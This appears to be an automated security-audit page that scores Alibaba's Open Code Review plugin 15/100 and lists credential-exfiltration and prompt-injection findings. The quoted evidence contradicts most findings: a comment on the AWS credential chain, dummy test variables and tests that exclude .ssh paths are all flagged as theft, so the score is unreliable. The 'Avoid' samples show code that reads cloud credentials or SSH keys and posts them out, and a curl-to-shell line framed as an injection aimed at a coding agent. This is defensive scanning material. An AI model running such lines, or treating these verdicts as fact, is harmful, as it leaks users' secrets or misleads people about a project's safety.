Open Code Review— plugin

Open Code Review — independently scanned and version-tracked by SaferSkills.

by alibaba·Plugin·github.com/alibaba/open-code-review
49,340stars3,619forksReview on GitHub →

Is Open Code Review safe to install?

SaferSkills independently audited Open Code Review (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 10 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedOct 20, 2026 · 15d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 10 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 10 flagged

Securityscore 0 · 10 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · internal/llm/client.go
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (// (AWS_PROFILE, SSO cache, instance role, AWS_A…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptinternal/llm/client.go
1231//
1232// No api_key is involved. Credentials come from the standard AWS chain
1233// (AWS_PROFILE, SSO cache, instance role, AWS_ACCESS_KEY_ID…), or from
1234// AWS_BEARER_TOKEN_BEDROCK if set. Region comes from AWS_REGION or the active
1235// profile.
Occurrences
1 occurrence · at L1233
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · internal/llm/request_timeout_test.go×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (t.Setenv("AWS_ACCESS_KEY_ID", "test-key")). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptinternal/llm/request_timeout_test.go
230t.Setenv("AWS_SHARED_CREDENTIALS_FILE", filepath.Join(t.TempDir(), "credentials"))
231t.Setenv("AWS_PROFILE", "")
232t.Setenv("AWS_ACCESS_KEY_ID", "test-key")
233t.Setenv("AWS_SECRET_ACCESS_KEY", "test-secret")
234t.Setenv("AWS_SESSION_TOKEN", "")
Occurrences
3 occurrences · first at L232, also L233, L234
Show all 3 locations
Line
File
L232
internal/llm/request_timeout_test.go
L233
internal/llm/request_timeout_test.go
L234
internal/llm/request_timeout_test.go
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · internal/agent/preview_test.go
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (path: "foo/.ssh/id_ed25519",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptinternal/agent/preview_test.go
438{
439name: "ssh directory contents excluded",
440path: "foo/.ssh/id_ed25519",
441expected: ExcludeSecret,
442},
Occurrences
1 occurrence · at L440
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256e3b067a929dd0f8e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · internal/config/allowlist/secret_path_test.go×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ({"ssh dir nested", "nested/.ssh/id_ed25519", tru…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptinternal/config/allowlist/secret_path_test.go
30// including files the key-name patterns do not list (config, known_hosts).
31{"ssh dir at root", ".ssh/id_ed25519", true},
32{"ssh dir nested", "nested/.ssh/id_ed25519", true},
33{"ssh config", ".ssh/config", true},
34{"ssh known_hosts", "home/.ssh/known_hosts", true},
Occurrences
2 occurrences · first at L32, also L88
Show all 2 locations
Line
File
L32
internal/config/allowlist/secret_path_test.go
L88
internal/config/allowlist/secret_path_test.go
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256e3b067a929dd0f8e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · internal/scan/coverage_test.go
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (path: "foo/.ssh/id_ed25519",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptinternal/scan/coverage_test.go
252{
253name: "ssh directory contents excluded",
254path: "foo/.ssh/id_ed25519",
255want: model.ExcludeSecret,
256},
Occurrences
1 occurrence · at L254
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256e3b067a929dd0f8e…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · examples/github_actions/README.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptexamples/github_actions/README.md· markdown
9```bash
10mkdir -p .github/workflows
11cp ocr-review.yml .github/workflows/ocr-review.yml
12```
13 
14The core of the demo is a single action step:
15 
16```yaml
17- uses: alibaba/open-code-review@main
Occurrences
1 occurrence · at L9
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256d24b6918b08fd1af…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · pages/src/content/docs/en/faq.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptpages/src/content/docs/en/faq.md· markdown
76```bash
77curl http://127.0.0.1:11434/v1/chat/completions -H "Content-Type: application/json" -d '{
78"model": "qwen3:32b",
79"messages": [{"role": "user", "content": "The code below has a bug, use the report_bug tool
… (64 chars elided on L79)
80"tools": [{"type": "function", "function": {"name": "report_bug", "description": "Report a b
… (16 chars elided on L80)
81"parameters": {"type": "object", "properties": {"line": {"type": "integer"}, "description":
… (52 chars elided on L81)
82}'
83```
84 
Occurrences
1 occurrence · at L76
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2563bdf9e5bb2a27a66…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.

Scan a GitHub repoBrowse capabilities